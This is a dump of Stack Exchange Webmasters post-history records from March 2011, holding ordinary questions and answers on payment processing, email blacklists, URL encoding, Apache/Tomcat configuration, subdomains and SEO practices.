  <row Id="23503" PostHistoryTypeId="2" PostId="10512" RevisionGUID="9c7280ea-00b7-408e-b2aa-a54ad983a429" CreationDate="2011-03-10T22:27:23.570" UserDisplayName="user654389" Text="Authorized.net was processing my credit card purchases until the end of Feb. As of 3/1/2011 they no longer will process electronic cigarette transactions. Processing network told us we would have a seamless transition over to a processor called EPN. Now we can not process and credit card orders at all. I have been told it's an SSL concern (EPN says no) I have been told it's an issue between Authorized.net and EPN again I am told no. Might site worked and functioned fine until the &quot;seamless&quot; transition took place. Please help me out here.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Dave" />
  <row Id="23504" PostHistoryTypeId="1" PostId="10512" RevisionGUID="9c7280ea-00b7-408e-b2aa-a54ad983a429" CreationDate="2011-03-10T22:27:23.570" UserDisplayName="user654389" Text="My site will not process Credit Cards" />
  <row Id="23505" PostHistoryTypeId="3" PostId="10512" RevisionGUID="9c7280ea-00b7-408e-b2aa-a54ad983a429" CreationDate="2011-03-10T22:27:23.570" UserDisplayName="user654389" Text="&lt;ruby-on-rails&gt;" />
  <row Id="23506" PostHistoryTypeId="17" PostId="10512" RevisionGUID="d16d0439-15c7-478e-9b8c-de3a086dd75b" CreationDate="2011-03-10T23:11:38.370" UserId="-1" Comment="from http://stackoverflow.com/questions/5266684/my-site-will-not-process-credit-cards" Text="" />
  <row Id="23507" PostHistoryTypeId="2" PostId="10514" RevisionGUID="dd646237-6364-4568-b8b2-3c4ab3ffb4f4" CreationDate="2011-03-10T23:11:47.847" UserId="6027" Text="Did they resolve the issue for you? Charter uses multiple RBLs. According to their site, &quot;one RBL is intended to keep track of Charter Customers that are known to have been spammers.&quot; These customers have allegedly violated the Terms of Service. Another RBL is leveraged to stop inbound mail from spammers at the network layer whose IP blocks are known to be owned by spammers. An IP that is on an RBL will not be able to send email to the Charter mail complex.&#xD;&#xA;&#xD;&#xA;So you'll want to be sure to find out which blacklist is causing you problems, as they could have you on the internal blacklist, as well as a third-party blacklist that they are using. You'll also want to find out how you got blacklisted - if it's from a newsletter/alerts customer that doesn't want the emails, then the problem could recur.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;&#xD;&#xA;Rob&#xD;&#xA;[Email Blacklist Monitoring][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blacklistmonitoring.com" />
  <row Id="23508" PostHistoryTypeId="5" PostId="10508" RevisionGUID="9bb7e91a-c131-41d3-bf9c-8274eb97773c" CreationDate="2011-03-10T23:15:25.920" UserId="5112" Comment="added 1 characters in body" Text="I whould like to know in what encryption should I encode my data and why&#xD;&#xA;&#xD;&#xA;first of all, I use GET method because it is search engine inside website.&#xD;&#xA;&#xD;&#xA;second, I use RTL language (hebrew)&#xD;&#xA;&#xD;&#xA;and thrid which basically is why I ask this question - firefox and safari (as I understood) encode and decode urls automaticly so if I encoded url, in firefox I will see it decoded which is good but if I copy-paste the url to the address bar and than enter the site firefox encode the uncoded url to utf (i think).&#xD;&#xA;&#xD;&#xA;anyway, what en/decode should I use, and how can I overcome the firefox auto en/decode?" />
  <row Id="23509" PostHistoryTypeId="25" PostId="10496" RevisionGUID="2f97838a-05b1-46ec-823b-fe734bf5bbea" CreationDate="2011-03-10T23:23:34.010" Comment="http://twitter.com/#!/StackWebmasters/status/45988191752294400" />
  <row Id="23510" PostHistoryTypeId="10" PostId="10512" RevisionGUID="f1a38b1e-2caf-4d3b-8326-a3d547dadd70" CreationDate="2011-03-10T23:57:54.740" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23511" PostHistoryTypeId="5" PostId="10514" RevisionGUID="87738b22-fe35-4845-9f00-0de52b2185fc" CreationDate="2011-03-11T00:00:14.660" UserId="1253" Comment="Removed signature and link" Text="Did they resolve the issue for you? Charter uses multiple RBLs. According to their site, &quot;one RBL is intended to keep track of Charter Customers that are known to have been spammers.&quot; These customers have allegedly violated the Terms of Service. Another RBL is leveraged to stop inbound mail from spammers at the network layer whose IP blocks are known to be owned by spammers. An IP that is on an RBL will not be able to send email to the Charter mail complex.&#xD;&#xA;&#xD;&#xA;So you'll want to be sure to find out which blacklist is causing you problems, as they could have you on the internal blacklist, as well as a third-party blacklist that they are using. You'll also want to find out how you got blacklisted - if it's from a newsletter/alerts customer that doesn't want the emails, then the problem could recur.&#xD;&#xA;" />
  <row Id="23512" PostHistoryTypeId="2" PostId="10515" RevisionGUID="fd82d1d4-56a5-4f21-b729-cd36ff457e59" CreationDate="2011-03-11T00:02:54.483" UserId="3269" Text="In our web pages, we have a hyperlink with an href to an absolute URL:&#xD;&#xA;&#xD;&#xA;&gt; https://some.other.host.com/blah.aspx?var1=val1&amp;var2=val2&#xD;&#xA;&#xD;&#xA;For some reason, in our logs, we see a lot of requests to URLs of this format:&#xD;&#xA;&#xD;&#xA;&gt; http://our.site.com/https:/some.other.host.com/blah.aspx?var1=val1&amp;amp;var2=val2&#xD;&#xA;&#xD;&#xA;We don't have any JavaScript that would request that URL; it only appears inside of a hyperlink.  Is there some sort of known bot, browser plugin, bug, etc. that could be responsible for these requests being made?&#xD;&#xA;" />
  <row Id="23513" PostHistoryTypeId="1" PostId="10515" RevisionGUID="fd82d1d4-56a5-4f21-b729-cd36ff457e59" CreationDate="2011-03-11T00:02:54.483" UserId="3269" Text="Receiving requests where absolute URL on page are morphed to relative URLs" />
  <row Id="23514" PostHistoryTypeId="3" PostId="10515" RevisionGUID="fd82d1d4-56a5-4f21-b729-cd36ff457e59" CreationDate="2011-03-11T00:02:54.483" UserId="3269" Text="&lt;url&gt;&lt;robots&gt;&lt;plugin&gt;&lt;botattack&gt;" />
  <row Id="23515" PostHistoryTypeId="2" PostId="10516" RevisionGUID="f98633a2-0e32-4587-a6f0-f468872320a4" CreationDate="2011-03-11T00:13:58.843" UserId="5873" Text="I'm working on WampServer for development, I've set up the domain tuniguide.local and it works fine with this configuration:&#xD;&#xA;&#xD;&#xA;DocumentRoot &quot;D:\www\tuniguide&quot;&#xD;&#xA;&#xD;&#xA;ServerName tuniguide.local&#xD;&#xA;&#xD;&#xA;But when I wanted to add a subdomain fr.tuniguide.local I get a 404 Not Found with this configuration:&#xD;&#xA;&#xD;&#xA;DocumentRoot &quot;D:\www\tuniguide\fr&quot;&#xD;&#xA;&#xD;&#xA;ServerName fr.tuniguide.local&#xD;&#xA;&#xD;&#xA;It gives me this message:&#xD;&#xA;The requested URL /www/tuniguide/index.php was not found on this server.&#xD;&#xA;&#xD;&#xA;Is there someting that I missed?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="23516" PostHistoryTypeId="1" PostId="10516" RevisionGUID="f98633a2-0e32-4587-a6f0-f468872320a4" CreationDate="2011-03-11T00:13:58.843" UserId="5873" Text="Subdomains on WampServer" />
  <row Id="23517" PostHistoryTypeId="3" PostId="10516" RevisionGUID="f98633a2-0e32-4587-a6f0-f468872320a4" CreationDate="2011-03-11T00:13:58.843" UserId="5873" Text="&lt;domains&gt;&lt;apache&gt;&lt;subdomain&gt;&lt;windows&gt;" />
  <row Id="23518" PostHistoryTypeId="2" PostId="10517" RevisionGUID="46c0ab05-4748-42f3-bc82-2c9f83160247" CreationDate="2011-03-11T00:19:33.180" UserId="6028" Text="Adding onto Mick's reply, to help diagnose this particular problem you should use absolute URLs in your stylesheet and it would help for you to use some developer tools. Since IE7 is a bit dated, it doesn't come standard with debugging tools, but there is hope for us. You should give [Fiddler2][1] a run and if needed, use [Firebug Lite][2] to supplement it. I've discovered that with these utilities, IE7 isn't that stressful to debug now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fiddler2.com/fiddler2/&#xD;&#xA;  [2]: http://getfirebug.com/firebuglite" />
  <row Id="23519" PostHistoryTypeId="5" PostId="10515" RevisionGUID="b26812a4-4827-4bb3-8648-bd6a7c46bf7f" CreationDate="2011-03-11T00:20:12.113" UserId="3269" Comment="added 4 characters in body" Text="In our web pages, we have a hyperlink with an href to an absolute URL:&#xD;&#xA;&#xD;&#xA;&gt; `https://some.other.host.com/blah.aspx?var1=val1&amp;var2=val2`&#xD;&#xA;&#xD;&#xA;For some reason, in our logs, we see a lot of requests to URLs of this format:&#xD;&#xA;&#xD;&#xA;&gt; `http://our.site.com/https:/some.other.host.com/blah.aspx?var1=val1&amp;amp;var2=val2`&#xD;&#xA;&#xD;&#xA;We don't have any JavaScript that would request that URL; it only appears inside of a hyperlink.  Is there some sort of known bot, browser plugin, bug, etc. that could be responsible for these requests being made?&#xD;&#xA;" />
  <row Id="23520" PostHistoryTypeId="2" PostId="10518" RevisionGUID="dfa652fd-69e3-4387-8af5-cccf7d75c9df" CreationDate="2011-03-11T00:27:19.813" UserId="3269" Text="I visited your site, and the site loaded and displayed just fine in IE 7.  It could be that there are problems specific to your web browser.  Make sure you clear your browser cache, and if the problem persists, try accessing the site from another computer outside your office.&#xD;&#xA;" />
  <row Id="23521" PostHistoryTypeId="2" PostId="10519" RevisionGUID="9826155d-e823-4e55-aba7-6b5fee7e173d" CreationDate="2011-03-11T00:38:29.523" UserId="3269" Text="It's unclear exactly what you're asking about; it seems you're confusing concepts of encryption, content encoding, and URL encoding.&#xD;&#xA;&#xD;&#xA;I'll assume this is not related to encryption.  Regarding content encoding, any modern browser (even IE 6) handles Unicode.  As long as your PHP files are encoded as UTF-8 or UTF-16, you should be able to use any Hebrew language code points you'd like.  Most web servers when serving up PHP will look at the encoding of the source file and use that in the content type of the pages that are served up, but if you want to be safe, you can explicitly have your PHP send content encoding HTTP headers:&#xD;&#xA;&#xD;&#xA;    &lt;?php header(&quot;Content-Type: text/html; charset=UTF-16&quot;); ?&gt;&#xD;&#xA;&#xD;&#xA;As far as URL go, you should URL-encode all URLs and not worry how the browsers will display them in the address bar.  A browser will usually (I haven't seen it happen otherwise) URL-encode any invalid characters in an entered address, so even if Firefox decodes a URL in the address bar, pasting it into another browser should still work.&#xD;&#xA;" />
  <row Id="23522" PostHistoryTypeId="2" PostId="10520" RevisionGUID="13ac5652-cdc4-46db-bca9-254f0f967501" CreationDate="2011-03-11T01:33:24.127" UserId="5157" Text="I'm pretty sure the SSL warranty is for the end user and that if the SSL issuer issued the cert to a fraudulent site that stole the end users money or identity they would pay out." />
  <row Id="23523" PostHistoryTypeId="2" PostId="10521" RevisionGUID="b0fcf7c8-6082-448b-8aaf-3d22237417c0" CreationDate="2011-03-11T01:55:52.470" UserId="3269" Text="Try saving the Word document to an RTF format, then exporting that to HTML.  Hopefully the RTF document wouldn't contain all of that complexity required in the Word document and will lead to simpler HTML." />
  <row Id="23524" PostHistoryTypeId="2" PostId="10522" RevisionGUID="6781901a-cd19-47f0-8811-afa00e9400d4" CreationDate="2011-03-11T02:08:58.153" UserId="5873" Text="as far as I know backlinks are good for SEO when they come from external or websites or domains, what about subdomain? do they have the same value of external backlinks or they are just like internal ones? especially when I have the possibility to put each subdomain on a different IP/country&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="23525" PostHistoryTypeId="1" PostId="10522" RevisionGUID="6781901a-cd19-47f0-8811-afa00e9400d4" CreationDate="2011-03-11T02:08:58.153" UserId="5873" Text="Subdomains as external backlinks" />
  <row Id="23526" PostHistoryTypeId="3" PostId="10522" RevisionGUID="6781901a-cd19-47f0-8811-afa00e9400d4" CreationDate="2011-03-11T02:08:58.153" UserId="5873" Text="&lt;seo&gt;&lt;domains&gt;&lt;subdomain&gt;&lt;backlinks&gt;" />
  <row Id="23527" PostHistoryTypeId="2" PostId="10523" RevisionGUID="b6a9666f-b450-4695-a200-43258ad16fe0" CreationDate="2011-03-11T02:21:21.990" UserId="1253" Text="You've overlooked the most important thing: links are judged by many factors with the most critical ones being the strength of the page the link is on. If the page is off topic and/or poorly ranked whether it is on a subdomain, same domain, or external site really doesn't mean anything as a link from that page won't be worth anything significant. (Other factors include quantity of links of the page and anchor text of the links). So even if you spread your content around like that it won't matter if those pages are poor quality (SEO wise).&#xD;&#xA;&#xD;&#xA;Having said that, [Google doesn't see subdomains as anything different from subfolders][1] so these links would be seen as residing on the same website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/" />
  <row Id="23528" PostHistoryTypeId="25" PostId="10494" RevisionGUID="25303511-556f-4623-8986-8070c75bb27a" CreationDate="2011-03-11T02:23:34.823" Comment="http://twitter.com/#!/StackWebmasters/status/46033493288947712" />
  <row Id="23529" PostHistoryTypeId="5" PostId="10523" RevisionGUID="e50cf951-ca94-4b8e-945a-5115442ffad9" CreationDate="2011-03-11T02:27:14.220" UserId="1253" Comment="added 381 characters in body" Text="You've overlooked the most important thing: links are judged by many factors with the most critical ones being the strength of the page the link is on. If the page is off topic and/or poorly ranked whether it is on a subdomain, same domain, or external site really doesn't mean anything as a link from that page won't be worth anything significant. (Other factors include quantity of links of the page and anchor text of the links). So even if you spread your content around like that it won't matter if those pages are poor quality (SEO wise).&#xD;&#xA;&#xD;&#xA;Having said that, [Google doesn't see subdomains as anything different from subfolders][1] so these links would be seen as residing on the same website.&#xD;&#xA;&#xD;&#xA;I guess while I'm at it, don't underestimate the power of internal linking. If you have a large enough site and interlink your pages properly you can give yourself a nice SEO boost. It does wonders for Wikipedia. They do a perfect job of interlinking their internal pages with minor pages reaping the rewards of the links from other pages that have lots of incoming links, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/subdomains-and-subdirectories/" />
  <row Id="23530" PostHistoryTypeId="2" PostId="10524" RevisionGUID="d839faff-8962-4be5-bf5c-9622bb2b5463" CreationDate="2011-03-11T04:00:42.277" UserId="5858" Text="I've a new site just over 6 months with &gt;50 unique visitors daily. It has good amount of duplicate pages which are not copyrighted. For example I've copied related companies product FAQ's &quot;as is&quot; in the site. Moreover I'm not supposed to modify a company's product's faqs.&#xD;&#xA;I fear my login may be banned by Adsense if I submit it.&#xD;&#xA;&#xD;&#xA;So I want to know:&#xD;&#xA;1) Whether I can submit it for Adsense account&#xD;&#xA;2) Whether Google can penalize me and in what way&#xD;&#xA;3) How would Google come to know that the duplicate content on my site is not copyrighted?" />
  <row Id="23531" PostHistoryTypeId="1" PostId="10524" RevisionGUID="d839faff-8962-4be5-bf5c-9622bb2b5463" CreationDate="2011-03-11T04:00:42.277" UserId="5858" Text="Will my site containing duplicate content be accepted in Adsense" />
  <row Id="23532" PostHistoryTypeId="3" PostId="10524" RevisionGUID="d839faff-8962-4be5-bf5c-9622bb2b5463" CreationDate="2011-03-11T04:00:42.277" UserId="5858" Text="&lt;google&gt;&lt;google-adsense&gt;&lt;content&gt;" />
  <row Id="23534" PostHistoryTypeId="2" PostId="10525" RevisionGUID="05cfcd34-196e-470f-a0e7-7fa84acff59f" CreationDate="2011-03-11T04:42:03.783" UserId="5718" Text="You can use the `canonical` tag to indicate where any copied content originally comes from:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://www.example.com/original-content.html&quot; /&gt;&#xD;&#xA;&#xD;&#xA;You shouldn't be penalized if your not doing anything deceptive." />
  <row Id="23535" PostHistoryTypeId="5" PostId="10493" RevisionGUID="1d5f3dfe-01d8-48fc-8551-0efad5258f97" CreationDate="2011-03-11T04:43:51.553" UserId="6021" Comment="added 3 characters in body" Text="Right now, we're working to migrate our company sites for international markets to this scheme&#xD;&#xA;&#xD;&#xA;    www.company.com/[2 letter country codes]&#xD;&#xA;    www.company.com/uk    #for United Kingdom&#xD;&#xA;    www.company.com/au    #for Australia&#xD;&#xA;    www.company.com/jp    #for Japan&#xD;&#xA;    www.comapny.com/      #for united states, and non identifiable.&#xD;&#xA;&#xD;&#xA;However, in google webmaster tools, we can geo-target each directory, but not the root.  If we geo-target the root with US, all the other markets will inherit.&#xD;&#xA;&#xD;&#xA;Is it better to move the US market to /us/ or leave it where it is?" />
  <row Id="23536" PostHistoryTypeId="5" PostId="10525" RevisionGUID="c64f007e-46b5-4c38-9528-f757aa750515" CreationDate="2011-03-11T05:22:40.880" UserId="1064" Comment="Mechanics of language correction" Text="You can use the `canonical` tag to indicate where any copied content originally comes from:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://www.example.com/original-content.html&quot; /&gt;&#xD;&#xA;&#xD;&#xA;You shouldn't be penalized if you are not doing anything deceptive." />
  <row Id="23537" PostHistoryTypeId="25" PostId="10524" RevisionGUID="2b25cf58-fe08-4b8e-9001-010a4c7ddc42" CreationDate="2011-03-11T05:23:34.497" Comment="http://twitter.com/#!/StackWebmasters/status/46078790710984705" />
  <row Id="23538" PostHistoryTypeId="2" PostId="10526" RevisionGUID="71e99c3c-96d3-4719-b6d8-fd0df1ce0218" CreationDate="2011-03-11T05:41:07.073" UserId="3312" Text="From the Verisign website (they call the warranty 'Netsure':&#xD;&#xA;&#xD;&#xA;&gt; NetSure protects *certificate holders* against certain losses resulting from breach by VeriSign of the warranties included in your VeriSign SSL Certificate.&#xD;&#xA;&#xD;&#xA;Who knows what that really means." />
  <row Id="23539" PostHistoryTypeId="2" PostId="10527" RevisionGUID="607e8b74-1fb2-4fd5-8f6e-0e4e77cbea80" CreationDate="2011-03-11T08:15:37.127" UserId="6031" Text="Bottom line is any online service is going to be exposed to security vulnerabilities.  In my experience wordpress is as good as any (and actually exceeds most) in terms of security and releasing immediate security patches.&#xD;&#xA;&#xD;&#xA;On [techcrunch][1] I just found a story of a guy that got hacked, then a security fix was issued.  One of the main principles you must follow (as I'm sure you know) is to ALWAYS update to the latest version and install the latests security fixes.  That, along with extremely high password strength is probably the best thing you can do, whether you go with WP, WT, Drupal, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://techcrunch.com/2008/06/11/my-blog-was-hacked-is-yours-next-huge-wordpress-security-issues/" />
  <row Id="23540" PostHistoryTypeId="2" PostId="10528" RevisionGUID="1c8859e0-028e-4d04-a402-6d44fd3dc3ee" CreationDate="2011-03-11T08:19:58.357" UserId="6031" Text="Is the primary market targeted for the US?  If yes, I would leave it as is.  The shorter domain will increase your hits on the SERPs and will allow you to keep whatever status is currently associated with www.company.com." />
  <row Id="23541" PostHistoryTypeId="25" PostId="10503" RevisionGUID="38a66b5c-c41d-467b-99bf-3dd8dc14886f" CreationDate="2011-03-11T08:23:34.577" Comment="http://twitter.com/#!/StackWebmasters/status/46124089357778944" />
  <row Id="23542" PostHistoryTypeId="2" PostId="10529" RevisionGUID="bca85e68-7f6c-4408-8e26-32bd53dd7be6" CreationDate="2011-03-11T09:01:24.123" UserId="3606" Text="Which html element should be used when writing out the author of an html document, with regards to semantics, SEO and so forth?&#xD;&#xA;&#xD;&#xA;Thanx!" />
  <row Id="23543" PostHistoryTypeId="1" PostId="10529" RevisionGUID="bca85e68-7f6c-4408-8e26-32bd53dd7be6" CreationDate="2011-03-11T09:01:24.123" UserId="3606" Text="What would be the correct html element for document author?" />
  <row Id="23544" PostHistoryTypeId="3" PostId="10529" RevisionGUID="bca85e68-7f6c-4408-8e26-32bd53dd7be6" CreationDate="2011-03-11T09:01:24.123" UserId="3606" Text="&lt;seo&gt;&lt;html&gt;&lt;xhtml&gt;" />
  <row Id="23545" PostHistoryTypeId="2" PostId="10530" RevisionGUID="5e9b1c7c-e79b-4eb3-b4f5-40bcd1b1ceaf" CreationDate="2011-03-11T09:10:05.183" UserId="5727" Text="    &lt;META NAME=&quot;Author&quot; CONTENT=&quot;George Costanza, gcostanza@vandalayindustries.com&quot;&gt;&#xD;&#xA;&#xD;&#xA;Although usage of this is questionably useless.  But it wont do any harm either way." />
  <row Id="23546" PostHistoryTypeId="2" PostId="10531" RevisionGUID="8ac40ef6-65c0-488d-aa58-4bfdd5126d21" CreationDate="2011-03-11T09:35:33.610" UserId="6002" Text="Ok&#xD;&#xA;&#xD;&#xA;So I've got multiple tomcat instances setup on several AJP ports, I also have Apache httpd listening on port 8090 (cos I've got another app already using 8080 at the moment).&#xD;&#xA;&#xD;&#xA;I've successfully mapped urls such as mydomain.com:8090/demo and mydomain.com:8090/preprod to their respective tomcat instances using Jk Mount and the following vhosts config;&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:8090&gt;&#xD;&#xA;        JkMount /preprod* preprod&#xD;&#xA;        JkMount /demo* demo&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;But I also want the &quot;root&quot; address to map to another tomcat instance, what will become live/production, ie I want mydomain.com:8090/ to map a 3rd tomcat instance.&#xD;&#xA;&#xD;&#xA;At the moment nothing happens or changes if I just add to the above config a line;&#xD;&#xA;&#xD;&#xA;    JkMount /* rootwar&#xD;&#xA;&#xD;&#xA;if I browse to mydomain.com:8090 I just get the same boring apache httpd landing page letting me know its running (ie index.html in httpd/htdocs)&#xD;&#xA;&#xD;&#xA;Is it possible to use JkMount to redirect the &quot;root&quot; address stuff to a tomcat instance?&#xD;&#xA;&#xD;&#xA;I can see that a rule like /* will also match URLs like mydomain.com/preprod but I was hoping the rules are applied in order so if /* appears at the end it effectively would be a &quot;if its not one of the other environments, then direct to root/production&quot;&#xD;&#xA;&#xD;&#xA;Just to be clear I'm trying to setup the following;&#xD;&#xA;&#xD;&#xA;    mydomain.com:8090/preprod --&gt; myApp running in tomcat1&#xD;&#xA;    mydomain.com:8090/demo    --&gt; myApp running in tomcat2&#xD;&#xA;    mydomain.com:8090         --&gt; myApp running in tomcat3" />
  <row Id="23547" PostHistoryTypeId="1" PostId="10531" RevisionGUID="8ac40ef6-65c0-488d-aa58-4bfdd5126d21" CreationDate="2011-03-11T09:35:33.610" UserId="6002" Text="How to get httpd to forward to multiple tomcats for different urls, including / ?" />
  <row Id="23548" PostHistoryTypeId="3" PostId="10531" RevisionGUID="8ac40ef6-65c0-488d-aa58-4bfdd5126d21" CreationDate="2011-03-11T09:35:33.610" UserId="6002" Text="&lt;apache&gt;&lt;httpd&gt;" />
  <row Id="23549" PostHistoryTypeId="2" PostId="10532" RevisionGUID="b69ac988-b283-4400-99fa-6aa65d7b68d8" CreationDate="2011-03-10T23:20:01.020" UserId="3590" Text="a question about urls... me and a good friend of mine are exploring the possibilities of either of the three scenarios for a website where each webpage has a menusystem with about 130 links.:&#xD;&#xA;&#xD;&#xA;&gt;**SCENARIO 1**  &#xD;&#xA;&gt;the pages menu system has SHORT non-descriptive hyperlinks as well as a SHORT canonical:  &#xD;&#xA;`&lt;a href:&quot;design&quot;&gt;dutch design&lt;/a&gt;`  &#xD;&#xA;the pages canonical url points to e.g.: &quot;`design`&quot;&#xD;&#xA;&#xD;&#xA;OR &#xD;&#xA;&gt;**SCENARIO 2**  &#xD;&#xA;the pages menu system has SHORT non-descriptive hyperlinks wwith LONG canonical urls:  &#xD;&#xA;`&lt;a href=&quot;design&quot;&gt;dutch design&lt;/a&gt;`  &#xD;&#xA;the pages canonical url points to: `dutch-design-crazy-yes-but-always-honest`  &#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;&gt;**SCENARIO 3**  &#xD;&#xA;the pages menu system has LONG descriptive hyperlinks with LONG canonical urls:  &#xD;&#xA;`&lt;a href=&quot;dutch-design-crazy-yes-but-always-honest&quot;&gt;dutch design&lt;/a&gt;`  &#xD;&#xA;the pages canonical url points to: `dutch-design-crazy-yes-but-always-honest`  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Currently we have scenario 2... should we progress to scenario 3?&#xD;&#xA;All three work fine and point via RewriteMod to the same page which is fetched underwater.&#xD;&#xA;Now, my question is which of these is better in terms of:&#xD;&#xA;&#xD;&#xA; - userfriendlyness (page loading times, full url visible in url bar or not)&#xD;&#xA; - seo friendlyness (proper indexing due to the urls containing descriptive relevant tags)&#xD;&#xA; - other concerns we forgot like possible penalties for so many words in link hrefs??&#xD;&#xA;&#xD;&#xA;Thanks very much for your suggestions: much appreciated!&#xD;&#xA;" />
  <row Id="23550" PostHistoryTypeId="1" PostId="10532" RevisionGUID="b69ac988-b283-4400-99fa-6aa65d7b68d8" CreationDate="2011-03-10T23:20:01.020" UserId="3590" Text="Which of these URL scenarios is best for big link menus? [seo /user friendly urls]" />
  <row Id="23551" PostHistoryTypeId="3" PostId="10532" RevisionGUID="b69ac988-b283-4400-99fa-6aa65d7b68d8" CreationDate="2011-03-10T23:20:01.020" UserId="3590" Text="&lt;url&gt;&lt;seo&gt;&lt;menu&gt;" />
  <row Id="23552" PostHistoryTypeId="17" PostId="10532" RevisionGUID="13c6bb17-d117-48f6-b399-afb0367605ec" CreationDate="2011-03-11T09:47:23.620" UserId="-1" Comment="from http://stackoverflow.com/questions/5267129/which-of-these-url-scenarios-is-best-for-big-link-menus-seo-user-friendly-urls" Text="" />
  <row Id="23553" PostHistoryTypeId="2" PostId="10533" RevisionGUID="e0802dcf-90e8-4847-8062-0193d3a55ecd" CreationDate="2011-03-11T09:48:10.340" UserId="6031" Text="Beginner to SEO here, starting with a personal site, looking for some insight and feedback.&#xD;&#xA;&#xD;&#xA;Question: what's more important, domain name or site title? &#xD;&#xA;&#xD;&#xA;Question: how important are the meta tags (description and keywords) on your site?  Description should be under 60 chars right?  How many keywords is ideal?&#xD;&#xA;&#xD;&#xA;Question: #1 most important SEO principle = ?? (my guess is getting others to link to your site)&#xD;&#xA;&#xD;&#xA;If you have time I'm looking for a little feedback and advice on this.  Let me know what you think of [http://kyleclegg.com/optimize-your-site-for-seo/][1].  Am I mistaken about any SEO practices? &#xD;&#xA;&#xD;&#xA;-thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kyleclegg.com/optimize-your-site-for-seo/" />
  <row Id="23554" PostHistoryTypeId="1" PostId="10533" RevisionGUID="e0802dcf-90e8-4847-8062-0193d3a55ecd" CreationDate="2011-03-11T09:48:10.340" UserId="6031" Text="What are the best SEO techniques for a professional blog?" />
  <row Id="23555" PostHistoryTypeId="3" PostId="10533" RevisionGUID="e0802dcf-90e8-4847-8062-0193d3a55ecd" CreationDate="2011-03-11T09:48:10.340" UserId="6031" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;blog&gt;&lt;meta-keywords&gt;" />
  <row Id="23556" PostHistoryTypeId="2" PostId="10534" RevisionGUID="90c5b42c-e2e5-4724-996e-a1ff9320b3c6" CreationDate="2011-03-11T09:52:20.910" UserId="3467" Text="First of all, this is more of a question for the [Pro Webmasters][1] site. You might want to ask these kind of questions over there in the future, SO is more for programming questions.&#xD;&#xA;&#xD;&#xA;-edit-&#xD;&#xA;I see it's been moved while I was typing :P&#xD;&#xA;&#xD;&#xA;As for the answer, I'd go for the third version, as long as the linktext itself is not the long version. The anchor text in a link is very important for SEO, but it's better to focus on two or three keywords (&quot;dutch design&quot;, &quot;best wordpress themes&quot;) than a very long text with 'filler words' (&quot;dutch design crazy yes but always honest&quot;). This is also a usability issue, a short descriptive link is easier to grasp than an entire sentence&#xD;&#xA;&#xD;&#xA;For the urls however I would advise to use the longer version, so instead of using a canonical just link to the long version of the link or do a 301 redirect. That way the url says something useful about the page, and people will find it easier to find the page back in their browser history. And who knows, even some of the less important words in the url may help you score in Google. It's better to have them in the url than in the link's anchor text imo.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/" />
  <row Id="23557" PostHistoryTypeId="2" PostId="10535" RevisionGUID="0b6cbc2d-bb3f-4dfd-b546-7f1d49e98601" CreationDate="2011-03-11T10:45:35.197" UserId="5727" Text="## #1 Most Important SEO Principle:&#xD;&#xA;&#xD;&#xA;Good, relevant and frequently updated content. Everything else is secondary." />
  <row Id="23558" PostHistoryTypeId="25" PostId="10529" RevisionGUID="a9f88a3b-1e34-456a-939e-b5f098213e1e" CreationDate="2011-03-11T11:23:34.770" Comment="http://twitter.com/#!/StackWebmasters/status/46169387694178304" />
  <row Id="23559" PostHistoryTypeId="2" PostId="10536" RevisionGUID="4e650add-0e41-4d0b-a364-d6262c10c8cf" CreationDate="2011-03-11T11:30:41.470" UserId="5739" Text="Don't forget to include a Title tag in your links as well." />
  <row Id="23560" PostHistoryTypeId="5" PostId="10536" RevisionGUID="8fa6d596-da5c-4c31-b66f-0be8334ac433" CreationDate="2011-03-11T11:50:15.743" UserId="5739" Comment="EDIT: better answer.; added 73 characters in body" Text="Don't forget to include a Title tag in your links as well.&#xD;&#xA;&#xD;&#xA;And yes, the anchor text is the text that goes between the tags that is visible in the browser.&#xD;&#xA;&#xD;&#xA;An often made mistake is creating a link like this:&#xD;&#xA;&#xD;&#xA;Further details on crazy dutch available ***here*** &#xD;&#xA;&#xD;&#xA;where the bold italic is the link. &#xD;&#xA;&#xD;&#xA;ie:&#xD;&#xA;&#xD;&#xA;Further details on ***crazy dutch design*** are available &#xD;&#xA;&#xD;&#xA;You are looking for as high a relevance between your link and the landing page as possible.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23561" PostHistoryTypeId="5" PostId="10533" RevisionGUID="bc7888a0-c0c7-42b6-84c9-806716b327fe" CreationDate="2011-03-11T11:56:27.670" UserId="6031" Comment="deleted link" Text="Beginner to SEO here, starting with a personal site, looking for some insight and feedback.&#xD;&#xA;&#xD;&#xA;Question: what's more important, domain name or site title? &#xD;&#xA;&#xD;&#xA;Question: how important are the meta tags (description and keywords) on your site?  Description should be under 60 chars right?  How many keywords is ideal?&#xD;&#xA;&#xD;&#xA;Question: #1 most important SEO principle = ?? (my guess is getting others to link to your site)&#xD;&#xA;&#xD;&#xA;-thanks.&#xD;&#xA;&#xD;&#xA;" />
